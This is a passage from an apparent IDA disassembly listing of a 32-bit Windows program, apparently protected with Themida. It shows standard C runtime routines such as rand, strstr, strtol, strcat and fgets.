loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD39C
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE24, edi
		call	near ptr 77E75CB5h
		nop


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE00, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE00
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE00, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD261[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D


loc_41C567:				; DATA XREF: Themida_:0055B619o
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D084, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D084, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D084, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE78
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDDC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 269063Fh
		test	eax, eax
		jnz	short loc_41C7D2
		call	near ptr 2690C56h
		nop
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
